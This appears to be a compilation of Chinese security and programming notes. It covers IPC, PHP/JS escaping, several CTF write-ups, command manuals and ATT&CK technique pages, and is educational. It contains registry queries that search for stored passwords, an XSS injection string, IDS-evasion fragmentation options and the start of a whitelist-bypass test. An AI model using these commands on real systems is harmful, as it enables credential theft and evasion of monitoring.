<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/53cd9ade-b0a6-4399-b4de-7f1fbd06cdfb.png"/> </div><br>
### 2. FIFO
也称为命名管道,去除了管道只能在父子进程中使用的限制。
```c
#include <sys/stat.h>
int mkfifo(const char *path, mode_t mode);
int mkfifoat(int fd, const char *path, mode_t mode);
```
FIFO 常用于客户-服务器应用程序中,FIFO 用作汇聚点,在客户进程和服务器进程之间传递数据。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/2ac50b81-d92a-4401-b9ec-f2113ecc3076.png"/> </div><br>
### 3. 消息队列
相比于 FIFO,消息队列具有以下优点:
- 消息队列可以独立于读写进程存在,从而避免了 FIFO 中同步管道的打开和关闭时可能产生的困难;
- 避免了 FIFO 的同步阻塞问题,不需要进程自己提供同步方法;
- 读进程可以根据消息类型有选择地接收消息,而不像 FIFO 那样只能默认地接收。
### 4. 信号量
它是一个计数器,用于为多个进程提供对共享数据对象的访问。
### 5. 共享存储
允许多个进程共享一个给定的存储区。因为数据不需要在进程之间复制,所以这是最快的一种 IPC。
需要使用信号量用来同步对共享存储的访问。
多个进程可以将同一个文件映射到它们的地址空间从而实现共享内存。另外 XSI 共享内存不是使用文件,而是使用内存的匿名段。
### 6. 套接字
与其它通信机制不同的是,它可用于不同机器间的进程通信。
|
sec-knowleage
|
## 一、php: addslashes()、mysql_escape_string()
SQL注入攻击是黑客攻击网站最常用的手段。如果你的站点没有使用严格的用户输入检验,那么常容易遭到SQL注入攻击。
SQL注入攻击通常通过给站点数据库提交不良的数据或查询语句来实现,很可能使数据库中的纪录遭到暴露,更改或被删除。
为了防止SQL注入攻击,PHP自带一个功能可以对输入的字符串进行处理,可以在较底层对输入进行安全上的初步处理( 它主要是对所有的GET、POST和COOKIE数据自动运行addslashes()),也即Magic Quotes。(php.ini magic_quotes_gpc)。如果 magic_quotes_gpc 选项启用,那么输入的字符串中的`'` , `"` ,`\`, `NULL` 前将会被自动加 上反斜杠 `\`。
不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义,遇到这种情况时可以使用函数 `get_magic_quotes_gpc()`进行检测。但Magic Quotes 并不是一个很通用的解决方案,没能屏蔽所有有潜在危险的字符,并且在许多服务器上Magic Quotes 并没有被启用。所以,我们还需要使用其它多种方法来防止SQL注入。
许多数据库本身就提供这种输入数据处理功能。例如PHP的MySQL操作函数中有addslashes()、 mysql_real_escape_string()、mysql_escape_string()等函数,可将特殊字符和可能引起数据库操作出错的字符转义。那么这三个功能函数之间有什么区别呢?
下面我们就来详细讲述下。
虽然国内很多PHP程序员仍在依靠 addslashes 防止SQL注入,还是建议大家加强中文防止SQL注入的检查。addslashes 的问题在于黑客 可以用在单引号前面加上一个大于127的值如 `%ae`,这样虽然单引号变成了`\'`,但`%ae\` 在字符集为gbk时会被认为是一个字符导致单引号闭合, 所以addslashes 无法成功拦截。当然 addslashes 也不是毫无用处,它是用于单字节字符串的处理,多字节字符还是用mysql_real_escape_string吧。
另外对于php手册中 get_magic_quotes_gpc 的举例:
``` php
<?php
//如果启用了魔术引号
$lastname = "O\'reilly"; // 这里用双引号括起来表示有两个字符 \ 和 ',如果用单引号括起来,表示只有一个字符 '
// 注意与js 不同,var nick = "我是\'天才\'"; \ 还是表示转义,表示只有一个字符 '
echo $lastname."\n"; // O\'reilly
echo addslashes($lastname)."\n"; // O\\\'reilly
// 适用各个 PHP 版本的用法
if (get_magic_quotes_gpc()) {
$lastname = stripslashes($lastname);
}
else {
$lastname = $lastname;
}
echo $lastname."\n"; // O\'reilly
// 如果使用 MySQL
$lastname = mysql_real_escape_string($lastname);
echo $lastname."\n"; // O\\\'reilly
$sql = "INSERT INTO lastnames (lastname) VALUES ('$lastname')";
// 插入到数据库为 O\'reilly
?>
```
最好对magic_quotes_gpc 已经开放的情况下,还是对$lastname 进行检查一下。
再说下mysql_real_escape_string 和 mysql_escape_string 这2个函数的区别:
mysql_real_escape_string 必须在(PHP 4 >= 4.3.0, PHP 5)的情况下才能使用,否则只能用 mysql_escape_string ,两者的区别是: mysql_real_escape_string 考虑到连接的当前字符集,而mysql_escape_string 不考虑。
转义字符有:`\x00` , `\n` , `\r` , `\` , `'` , `"` and `\x1a`
总结一下:
* addslashes() 是强行加 `\`;
* mysql_real_escape_string() 会判断字符集,但是对PHP版本有要求,调用前需要连接上数据库;
* mysql_escape_string 不考虑连接的当前字符集;
* 两个escape 函数都不转义 `%` 和 `_`
依靠mysql_real_escape_string 这样的函数来防御 sql 注入是远远不够的,因为有些 payload 可以完全不用引号、括号、空格等字符,防御SQL 注入的最佳方式,就是使用预编译语句,绑定变量。当然检查数据类型能在很大程度上对抗sql 注入,最后从数据库自身的角度来说,应该使用最小权限原则,避免web 应用直接使用 root 等高权限账户直接连接数据库。
## 二、php:htmlspecialchars()
htmlentities() <--> htmlentities_decode()
>This function is identical to htmlspecialchars() in all ways, except with htmlentities(), all characters which have HTML character entity equivalents are translated into these entities.
htmlspecialchars() <--> htmlspecialchars_decode()
预定义的字符是:
* & (和号) 成为 &amp;
* " (双引号) 成为 &quot;
* ' (单引号) 成为 &#039; // 注意不是 &apos;
* < (小于) 成为 &lt;
* > (大于) 成为 &gt;
* ENT_COMPAT - 默认,仅编码双引号
* ENT_QUOTES - 编码双引号和单引号
* ENT_NOQUOTES - 不编码任何引号
## 三、php:json_encode()

JSON 定死了字符集必须是UTF-8,表示多语言就没有问题了。为了统一解析,JSON的字符串规定必须用双引号" ",Object的键也必须用双引号" "
json_encode()
JSON_HEX_TAG => 1 // \u003C \u003E
JSON_HEX_AMP => 2
JSON_HEX_APOS => 4
JSON_HEX_QUOT => 8
JSON_FORCE_OBJECT => 16
JSON_NUMERIC_CHECK => 32
JSON_UNESCAPED_SLASHES => 64
JSON_PRETTY_PRINT => 128
JSON_UNESCAPED_UNICODE => 256
json_decode(string $json, bool $assoc=false, int $depth = 512) // $assoc 为 true 则返回 array 而非 object.
php正常情况下只能通过 `->` 访问对象属性,当然静态属性的话是`::`
对于嵌套过深的json 字符串,需要设置下 depth, 否则会 decode 失败。
用于 decode 的字符串key 和 value 应该用 双引号括起来。
json_decode( preg_replace('/[\x00-\x1F\x80-\xFF]/', '', $json_string), true ); # 去掉非可显示英文字符
``` php
$arr = array();
$arr['name'] = 'simba\"s/\r';
$arr['passwd'] = "666";
echo json_encode($arr);
```
json_encode 默认会对某些特殊字符进行转义,上面输出为 `{"name":"simba\\\"s\/\\r","passwd":"666"}`,如果 `$arr['name'] = "simba\"s/\r"`; 则输出为 `{"name":"simba\"s\/\r","passwd":"666"}`,在单引号里面 \r 表示两个字符,在双引号里面 \r 表示一个字符即回车。
使用PHP的 json_encode()函数返回json数据时,默认会将`/`进行转义成`\/`。
如果使用的是PHP 5.4以上版本,可以添加参数`JSON_UNESCAPED_SLASHES` 解决。
echo json_encode("2014/08/06", JSON_UNESCAPED_SLASHES);
否则可以使用str_replace来替换:
`str_replace('\\/', '/', json_encode("2014/08/06"));`
进行 json_decode 时会把对应的转义过的字符去掉 `\`,还原成原来的字符串形式,比如 `'simba\"s/\r'` 和 `"simba\"s/\r"`
为了表示字符串的文本形式,可以使用 <<<EOD .... EOD; 的方式。比如
``` php
$s1 = "aasimbarsimban";
$s1 = str_replace("simbar", "\\r", $s1);
$s1 = str_replace("simban", "\\n", $s1);
$content = <<<EOD
input = "$s1";
EOD;
echo $content;
```
此时输出 input = "aa\r\n";
如果 中间两行是
```
$s1 = str_replace("simbar", "\r", $s1);
$s1 = str_replace("simban", "\n", $s1);
```
这时候输出 input = "aa
";
## 四、js:JSON.parse()
一个对象原封不动的转化为字符串后,这个字符串竟然不能还原为对象:
``` javascript
// 原始object对象
var obj = { key: '\"Hello World\"'}
var str = JSON.stringify(obj); // 转化为字符串console.log(str)
// {"key":"\"Hello World\""}
var o = JSON.parse(str) // 还原为object 时出错
```
因为传递给 parse 之前,脚本引擎先处理了一下,`\"` 与 `"` 是一样的,故 str 成了 `{"key": ""Hello World""}`,再进行 parse 时会出错。故可以多加一个 \ 以解决问题
> `JSON.parse('{"key":"\\"Hello World\\""}')`
< Object {key: ""Hello World""}
故以下的形式也是没有语法错误,可以执行的
> `JSON.parse('{"giftText":"aaaaa","friendsStr":"123123xxx\"}')`
< Object {giftText: "aaaaa", friendsStr: "123123xxx"}
假设 friendStr 由 url 传递参数,返回时会将双引号前面加 `\`,但并没有转义单引号,则会造成 xss 漏洞:
`JSON.parse('{"giftText":"aaaaa","friendsStr":"123123xxx\"}');(alert)(1)//`
需要注意的是,编码后的数据长度可能会发生改变,从而影响某些功能,在写代码时需要注意这个细节,以免产生不必要的bug。
## 五、jsencode、HtmlEncode
php 版本的代码:
``` php
function jsencode($str)
{
$arr = array();
$str_len = strlen($str);
$need_encode = "<>\"&#`()[]';";
for($i = 0; $i < $str_len; $i++)
{
if (strpos($need_encode, $str[$i]))
{
$arr[$i] = "\\u00" . bin2hex($str[$i]);
}
else
{
$arr[$i] = $str[$i];
}
}
return join("", $arr);
}
function HtmlEncode($str)
{
$str = str_replace("&","&", $str);
$str = str_replace(">",">", $str);
$str = str_replace("<","<", $str);
$str = str_replace("\"",""", $str);
$str = str_replace("'","'", $str);
$str = preg_replace("/\s+/"," ", $str);
return $str;
}
```
javascript 的代码:
``` javascript
function jsencode(str) {
var arr = [];
var need_encode = "<>\"&#`()[]';";
for (var i = 0; i < str.length; i++) {
if (need_encode.indexOf(str[i]) != -1)
{
arr[i] = ("\\u00" + str.charCodeAt(i).toString(16)).slice(-6);
}
else
{
arr[i] = str[i];
}
}
return arr.join("");
}
function HtmlEncode(sStr)
{
sStr = sStr.replace(/&/g,"&");
sStr = sStr.replace(/>/g,">");
sStr = sStr.replace(/</g,"<");
sStr = sStr.replace(/"/g,""");
sStr = sStr.replace(/'/g,"'");
sStr = sStr.replace(/\s+/g," ");
return sStr;
}
```
|
sec-knowleage
|
# Weird File
Category: Forensics, 20 points
## Description
> What could go wrong if we let Word documents run programs? (aka "in-the-clear").
A word file was attached.
## Solution
Letting Word documents run programs is a direct reference to macros, so let's search for macros in the file:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Weird_File]
└─$ olevba weird.docm
olevba 0.56.1 on Python 3.9.2 - http://decalage.info/python/oletools
===============================================================================
FILE: weird.docm
Type: OpenXML
WARNING For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub AutoOpen()
MsgBox "Macros can run any program", 0, "Title"
Signature
End Sub
Sub Signature()
Selection.TypeText Text:="some text"
Selection.TypeParagraph
End Sub
Sub runpython()
Dim Ret_Val
Args = """" '"""
Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus)
If Ret_Val = 0 Then
MsgBox "Couldn't run python script!", vbOKOnly
End If
End Sub
+----------+--------------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+--------------------+---------------------------------------------+
|AutoExec |AutoOpen |Runs when the Word document is opened |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbNormalFocus |May run an executable file or a system |
| | |command |
|Suspicious|run |May run an executable file or a system |
| | |command |
+----------+--------------------+---------------------------------------------+
```
We can see that there's a macro attempting to run:
```
python -c 'print(\"python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'\")'
```
This looks like a base64-encoded string. Let's decode it:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Weird_File]
└─$ echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d
picoCTF{m4cr0s_r_d4ng3r0us}
```
The flag: `picoCTF{m4cr0s_r_d4ng3r0us}`
|
sec-knowleage
|
# Message from the Dolphins
Category: Other, 70 Points
## Description
> The Zip got crumbled and the massage got scrambled.
>
> Capture the flag to get the message from the Dolphins.
An archive file was attached.
## Solution
Let's try to extract the archive:
```console
root@kali:/media/sf_CTFs/matrix/Message_From_The_Dolphins# gunzip -v 42.gz
42.gz: 0.0% -- replaced with 42
```
What did we get?
```console
root@kali:/media/sf_CTFs/matrix/Message_From_The_Dolphins# file 42
42: PNG image data, 1024 x 768, 8-bit/color RGBA, non-interlaced
```
We run `zsteg` on it and get the flag:
```console
root@kali:/media/sf_CTFs/matrix/Message_From_The_Dolphins# zsteg 42
meta Raw profile type APP1.. text: "\ngeneric profile\n 246\n4578696600004d4d002a0000000800040128000300000001000200000213000300000001\n0001000087690004000000010000003e88250004000000010000008a0000000000049000\n00070000000430323331910100070000000401020300928600070000001500000074a000\n0007000000043031303000000000415343494900000053746567616e6f67726170687900\n000400010002000000024e0000000002000500000003000000c000030002000000024500\n00000004000500000003000000d800000000000000200000000100000000000000010000\n7d0900000946000000220000000100000034000000010001cfc9000014bc\n"
b1,rgb,lsb,xy .. text: "Flag_So_long_and_thanks_for_all_the_fish"
b3,g,msb,xy .. text: "'\t $B|mH"
b4,g,lsb,xy .. file: 0420 Alliant virtual executable
b4,bgr,lsb,xy .. file: PDP-11 UNIX/RT ldp
b4,abgr,msb,xy .. file: Applesoft BASIC program data, first line number 143
```
|
sec-knowleage
|
# 22. 链表中倒数第 K 个结点
[牛客网](https://www.nowcoder.com/practice/886370fe658f41b498d40fb34ae76ff9?tpId=13&tqId=11167&tab=answerKey&from=cyc_github)
## 解题思路
设链表的长度为 N。设置两个指针 P1 和 P2,先让 P1 移动 K 个节点,则还有 N - K 个节点可以移动。此时让 P1 和 P2 同时移动,可以知道当 P1 移动到链表结尾时,P2 移动到第 N - K 个节点处,该位置就是倒数第 K 个节点。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6b504f1f-bf76-4aab-a146-a9c7a58c2029.png" width="500"/> </div><br>
```java
public ListNode FindKthToTail(ListNode head, int k) {
if (head == null)
return null;
ListNode P1 = head;
while (P1 != null && k-- > 0)
P1 = P1.next;
if (k > 0)
return null;
ListNode P2 = head;
while (P1 != null) {
P1 = P1.next;
P2 = P2.next;
}
return P2;
}
```
|
sec-knowleage
|
version: '3'
services:
web:
image: vulhub/nexus:3.21.1
ports:
- "8081:8081"
volumes:
- ./admin.password:/nexus-data/admin.password
|
sec-knowleage
|
edquota
===
用于编辑指定用户或工作组磁盘配额
## 补充说明
**edquota命令** 用于编辑指定用户或工作组磁盘配额。edquota预设会使用vi来编辑使用者或群组的quota设置。
### 语法
```shell
edquota(选项)(参数)
```
### 选项
```shell
-u:设置用户的quota,这是预设的参数;
-g:设置群组的quota;
-p<源用户名称>:将源用户的quota设置套用至其他用户或群组;
-t:设置宽限期限。
```
### 参数
用户:指定要编辑磁盘配额限制的用户名或者工作组。
### 实例
**配置系统的磁盘配额支持**
首先,磁盘配额是区域性的,我们可以决定哪块分区进行磁盘配额,哪块分区不用(自然也就不用配置了)。一般而言,作为一台web虚拟主机服务器,`/home`和`/www`(或者类似的)是供用户存放资源的分区,所以可以对这两个分区进行磁盘配额。假定我们需要对`/home`分区实现用户级的限制,而对`/www`进行每个组的用户配额。
第一步:
```shell
vi /etc/fstab
```
找到对应于`/home`和`/www`的行,例如:
```shell
/dev/sda5 /home ext2 defaults 1 2
/dev/sda7 /www ext2 defaults 1 2
```
在`/home`里实现用户级的磁盘配额,所以对sda5行的挂装选项域做如下修改:
```shell
/dev/sda5 /home ext2 defaults,usrquota 1 2
```
注意,是usrquota哦。类似的,我们可以如下修改`/www`行:
```shell
/dev/sda7 /www ext2 defaults,grpquota 1 2
```
如编辑根用户
改`/etc/fstab`文件中
```shell
LABEL=/ / ext2 defaults,usrquota,grpquota 1 1
```
说明:`/etc/fstab`文件的每一行由六个字段组成:
* 第一个字段:文件系统(分区)的注释(类似卷标);
* 第二个字段:文件系统的装载点;
* 第三个字段:文件系统类型(磁盘配额只能在ext2文件系统上实现);
* 第四个字段:装载文件系统是使用的选项,如果只想实现基于用户的磁盘配额,就加入usrquota关键字,只想实现基于组的磁盘配额,就加入grpqouta关键字,如果两者都需要,就全写入,中间可以用逗号分隔。
* 第五个字段:表明该文件系统(分区)是否为只读,如果是0就表示只读,1表示可以读写。
* 第六个字段:表示系统启动执行fsck时检查的顺序。
注意:请特别注意这里的拼写,是usrquota和grpquota,不要写成userquota和groupquota。
进入单用户模式,用quotacheck生成.user或.group文件
quotacheck 你的目录
```shell
example:quotacheck / ; quotacheck /home
```
如果单用户模式报错的话umount你的设备`/dev/hda*`
再执行就ok了,重启动系统,如果一切正常的话,quota将开始正常工作。
**设置用户和组配额的分配量**
对磁盘配额的限制一般是从一个用户占用磁盘大小和所有文件的数量两个方面来进行的。在具体操作之前,我们先了解一下磁盘配额的两个基本概念:软限制和硬限制。
* 软限制:一个用户在文件系统可拥有的最大磁盘空间和最多文件数量,在某个宽限期内可以暂时超过这个限制。
* 硬限制:一个用户可拥有的磁盘空间或文件的绝对数量,绝对不允许超过这个限制。
**通过edquota直接编辑数据文件:**
使用编辑配额命令edquota为用户配置定额,在重新启动系统之后,我们假设lanf是需要定额的系统帐户,可以使用如下命令来为用户分配磁盘配额:
```shell
edquota -u lanf
```
这个命令将启动默认文本编辑器(如vi或其他由$EDITOR 环境变量指定的编辑器),其内容如下所示:
```shell
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 0,hard = 0)
inodes in use:0,limits(soft = 0,hard = 0)
```
这表示lanf用户在`/dev/sda5`分区(该分区已经在usrquota的控制之下)中迄今使用了0个数据块(以K为单位),并且没有设限制(包括软限制soft和硬限制hard),同样,lanf在这个分区也没有任何文件和目录,并且也没有任何软硬限制。如果,我们想对用户进行磁盘容量的限制的话,只需要修改blocks行的limits部分就可以了,注意单位使用的是K。例如要为lanf分配100M磁盘的软限制,400M硬限制,可以使用如下的设置:
```shell
Quotas for user lanf:
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 0,hard = 0)
```
同样的,要对文件目录的数量限制可以相应的修改inodes行。我们也可以同时对这两项都作出限制。只需要如下的修改Quotas for user lanf:
```shell
/dev/sda5:blocks in use:0,limits(soft = 102400,hard = 409800)
inodes in use:0,limits(soft = 12800,hard = 51200)
```
这表示除了相应的容量的限制外,还对文件/目录的数量做了12800个的软限制和51200个的硬限制。在保存了新的配置后,该用户的磁盘使用就不能超过硬限制。如果用户试图超过这个限制,该操作将被取消,然后得到一个错误信息。但是,如果每个用户都要这么麻烦的设置的话,那这种重复的体力劳动实在有点令人不寒而栗,而且也太浪费时间了。幸好edquota还有个-p参数(prototype)可以对已有的用户设置进行拷贝。例如,我们想对Jack、Tom、Chen三个用户使用和lanf一样的限额配置,可以使用如下的命令:
```shell
edquota -p lanf -u Jack Tom Chen
```
这样一来,这三个用户就被赋予了和lanf一样的磁盘配额。
对组的配额,除了edquota命令中对应`-u`选项的改为`-g`选项,例如下面对webterm1组的操作:
```shell
edquota -g webterm1
```
实际上,以上的限制只是对用户设定的硬限制在起作用。如果需要使软限制也起作用的话,还需要对用户的软限制设定宽限期,缺省的软限制的宽限期是无穷,这可以使用edquota命令的`-t`选项来实现。运行下面的命令:
```shell
edquota -t
```
edquota将打开缺省编辑器显示如下内容:
```shell
time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:0 days,file grace period:0 days
```
可以使用天、小时、分、秒为单位来设定宽限期。例如,在下面这个例子中,磁盘空间限制的宽限期为两天,而文件数量限制的宽限期只有6个小时。
```shell
Time units may be:days,hours,minutes,or seconds
Grace period before enforcing soft limits for users:
/dev/sda5:block grace period:2 days,file grace period:6 hours
```
**通过setquota工具加入:**
比如加入用户bye2000的磁盘配额,执行以下命令:
```shell
setquota –u / 2000 2500 100 110 bye2000
```
以下是setquota命令用法的简单描述:
```shell
setquota [ -u|-g ] 装载点 软块数 硬块数 软文件数 硬文件数 用户名/组名
```
**查看用户磁盘使用情况**
要查明某一个用户使用了多少磁盘空间,例如lanf,可以使用如下的命令:
```shell
quota -u lanf
```
显示:
```shell
Disk quotas for user lanf(uid 503):
Filesystem blocks quota limit grace file quota limit grace
/dev/sda5 3 102400 409800 1 12800 51200
```
同样,可以使用`quota -g groupname`命令来参看某个组的磁盘使用情况。
注意:
1. 如果该用户没有配置磁盘限额的话,输出显示`Disk quotas for user hujm (uid 503): none`
2. 如果不带任何参数运行quota的话,查看的是你自己的配额使用情况。
|
sec-knowleage
|
---
title: 字符串的扩展
---
## 字符串的扩展
### 字符串模版(template string)
字符串模板是增强版的字符串,用反引号(`)标识。它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量。
模板字符串中嵌入变量,需要将变量名写在**${}**之中。
```
let obj = {name:'Liu',age:'24'};
`my name is :${obj.name}`
```
大括号内部可以放入任意的JavaScript表达式,可以进行运算,以及引用对象属性。
```
var a = 3;
var b = 2;
`运算:${a} + ${b} = ${a + b}`
```
|
sec-knowleage
|
# Vigenere (crypto 100)
###ENG
[PL](#pl-version)
In the task we get a ciphertext:
```
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
```
And information that this is Vigener Cipher with alphabet:
```
ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
```
And the md5 of plaintext is `f528a6ab914c1ecf856a1d93103948fe`
We of course know the flag prefix `SECCON{` so we can instantly recover the prefix of the key:
```python
def get_key_prefix(alphabet, ct, known_pt):
result = ""
for i in range(len(known_pt)):
plain = known_pt[i]
cipher = ct[i]
key = alphabet[alphabet.index(cipher) - alphabet.index(plain)]
result += key
return result
```
which gives us `VIGENER`
Next we can just brute-force the missing 4 bytes of the key:
```python
def decode(alphabet, ct, key):
result = ""
for i in range(len(ct)):
c = ct[i]
k = key[i % len(key)]
if k != "?":
p = alphabet[alphabet.index(c) - alphabet.index(k)]
else:
p = "?"
result += p
return result
def worker(data):
c, alphabet, ct, key = data
key += c
for suffix in itertools.product(alphabet, repeat=4):
new_key = key + "".join(suffix)
pt = decode(alphabet, ct, new_key)
if hashlib.md5(pt).hexdigest() == "f528a6ab914c1ecf856a1d93103948fe":
print(pt)
return pt
def main():
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
ct = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
key_prefix = get_key_prefix(alphabet, ct, "SECCON{")
print('key prefix ', key_prefix)
print(brute(worker, [(c, alphabet, ct, key_prefix) for c in alphabet]))
if __name__ == '__main__':
freeze_support()
main()
```
Which gives us almost instantly `SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}`
###PL version
W zadaniu dostajemy zaszyfrowany tekst:
```
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
```
I informacje że to szyfr Vigenera z alfabetem:
```
ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
```
Mamy też md5 plaintextu: `f528a6ab914c1ecf856a1d93103948fe`
I oczywiście znamy prefix flagi `SECCON{` więc możemy od razu odzyskać prefix klucza:
```python
def get_key_prefix(alphabet, ct, known_pt):
result = ""
for i in range(len(known_pt)):
plain = known_pt[i]
cipher = ct[i]
key = alphabet[alphabet.index(cipher) - alphabet.index(plain)]
result += key
return result
```
co daje nam `VIGENER`
Następnie możemy brute-forcować brakujące 4 bajty klucza:
```python
def decode(alphabet, ct, key):
result = ""
for i in range(len(ct)):
c = ct[i]
k = key[i % len(key)]
if k != "?":
p = alphabet[alphabet.index(c) - alphabet.index(k)]
else:
p = "?"
result += p
return result
def worker(data):
c, alphabet, ct, key = data
key += c
for suffix in itertools.product(alphabet, repeat=4):
new_key = key + "".join(suffix)
pt = decode(alphabet, ct, new_key)
if hashlib.md5(pt).hexdigest() == "f528a6ab914c1ecf856a1d93103948fe":
print(pt)
return pt
def main():
alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"
ct = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"
key_prefix = get_key_prefix(alphabet, ct, "SECCON{")
print('key prefix ', key_prefix)
print(brute(worker, [(c, alphabet, ct, key_prefix) for c in alphabet]))
if __name__ == '__main__':
freeze_support()
main()
```
Co od razu daje nam `SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}`
|
sec-knowleage
|
# T1552-002-win-注册表中的凭证
## 来自ATT&CK的描述
Windows注册表存储系统或其他程序可以使用的配置信息。攻击者可以查询注册表,以查找已存储供其他程序或服务使用的凭据和密码。有时,这些凭据用于自动登录。
## 测试案例
查找与密码信息相关的注册表项的示例命令:
```dos
本地机器配置单元: reg query HKLM /f password /t REG_SZ /s
当前用户配置单元: reg query HKCU /f password /t REG_SZ /s
```
## 检测日志
Windows Sysmon日志
## 测试复现
Windows 自动登陆:
```dos
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
```
SNMP 相关参数:
```dos
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```
## 测试留痕
Windows Sysmon日志 事件1,命令行参数等
## 检测规则/思路
### sigma规则
```yml
title: 注册表中的凭证枚举
description: win7测试
references: http://www.rinige.com/index.php/archives/770/
tags: T1552-002
status: experimental
author: 12306Bro
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 1 #进程创建
Image: 'C:\*\reg.exe'
OriginalFileName: reg.exe
CommandLine: 'reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"'
ParentCommandLine: "C:\*\cmd.exe"
condition: selection
level: medium
```
### 建议
暂无
## 参考推荐
MITRE-ATT&CK-T1552-002
<https://attack.mitre.org/techniques/T1552/002/>
T1214模拟测试
<https://ired.team/offensive-security/credential-access-and-credential-dumping/t1214-credentials-in-registry>
渗透测试中需要关注的本地凭据
<http://www.rinige.com/index.php/archives/770/>
|
sec-knowleage
|
---
title: fragrouter
categories: Information Gathering
tags: [fragrouter,evasion,kali linux,recon,information gathering]
date: 2016-10-25 01:00:00
---
0x00 fragrouter介绍
-------------
fragrouter是一个具有路由器功能的应用程序,它能够对攻击者发送的攻击流量进行分片处理之后,向攻击目标转发。
工具来源:fragrouter README
[fragrouter主页][1] | [Kali fragrouter Repo仓库][2]
- 作者:Dug Song, Anzen Computing
- 证书:GPLv2
0x01 fragrouter功能
---------------
fragrouter - 入侵检测系统(IDS)逃避工具包
```shell
root@kali:~# fragrouter
版本:1.6
用法:fragrouter [-i interface] [-p] [-g hop] [-G hopcount] ATTACK
其中ATTACK是以下之一:
-B1:base-1:正常的IP转发
-F1:frag-1:有序的8字节IP分片
-F2:frag-2:有序的24字节IP分片
-F3:frag-3:有序的8字节IP分片,一个失序
-F4:frag-4:有序的8字节IP分片,一个重复
-F5:frag-5:无序的8字节片段,一个重复
-F6:frag-6:有序的8字节片段,标记最后一个Frag
-F7:frag-7:有序的16字节片段,fwd重写
-T1:tcp-1:3-whs,错误TCP校验和和FIN/RST,有序的1字节段
-T3:tcp-3:3-whs,有序的1字节段,一个重复
-T4:tcp-4:3-whs,有序的1字节段,一次重写
-T5:tcp-5:3-whs,有序的2字节段,fwd重写
-T7:tcp-7:3-whs,有序的1字节段,交织空段
-T8:tcp-8:3-whs,有序的1字节段,一个失序
-T9:tcp-9:3-whs,无序的1字节段
-C2:tcbc-2:3-whs,有序的1字节段,交织的SYN
-C3:tcbc-3:有序的1字节空段,3-whs,有序的1字节段
-R1:tcbt-1:3-whs,RST,3-whs,有序的1字节段
-I2:ins-2:3-whs,有序的1字节段,错误TCP校验和
-I3:ins-3:3-whs,有序的1字节段,不设置ACK
-M1:misc-1:Windows NT 4 SP2 - http://www.dataprotect.com/ntfrag/
-M2:misc-2:Linux IP chain - http://www.dataprotect.com/ipchains/
```
0x02 fragrouter用法示例
-----------------
```shell
root@kali:~# fragrouter -i eth0 -F1
fragrouter: frag-1: ordered 8-byte IP fragments
...
```
[1]: http://www.anzen.com/research/nidsbench/fragrouter.html
[2]: http://git.kali.org/gitweb/?p=packages/fragrouter.git;a=summary
|
sec-knowleage
|
# T1218-001-win-基于白名单Compiler.exe执行payload
## 来自ATT&CK的描述
许多软件开发相关的实用程序可用于执行各种形式的代码用以协助开发、调试和逆向工程。这些实用程序通常可以使用合法证书进行签名。签名后,它们就可以在系统上执行,并通过可信的进程代理执行恶意代码,从而有效地绕过应用白名单防御解决方案。
## 测试案例
Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具,用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。
Microsoft.Workflow.Comiler.exe需要两个命令行参数,第一个参数必须是一个XML文件(由一个序列化CompilerInput对象构成)的路径,第二个参数则是写入序列化编译结果的文件路径。
说明:Microsoft.Workflow.Compiler.exe所在路径没有被系统添加PATH环境变量中,因此,Microsoft.Workflow.Compiler命令无法识别。
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
win7默认位置:
`C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe`
`C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe`
## 检测日志
windows 安全日志(需要自行配置)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:windows server 2012
### 方法1
#### POC.xml
```xml
<?xml version="1.0" encoding="utf‐8"?>
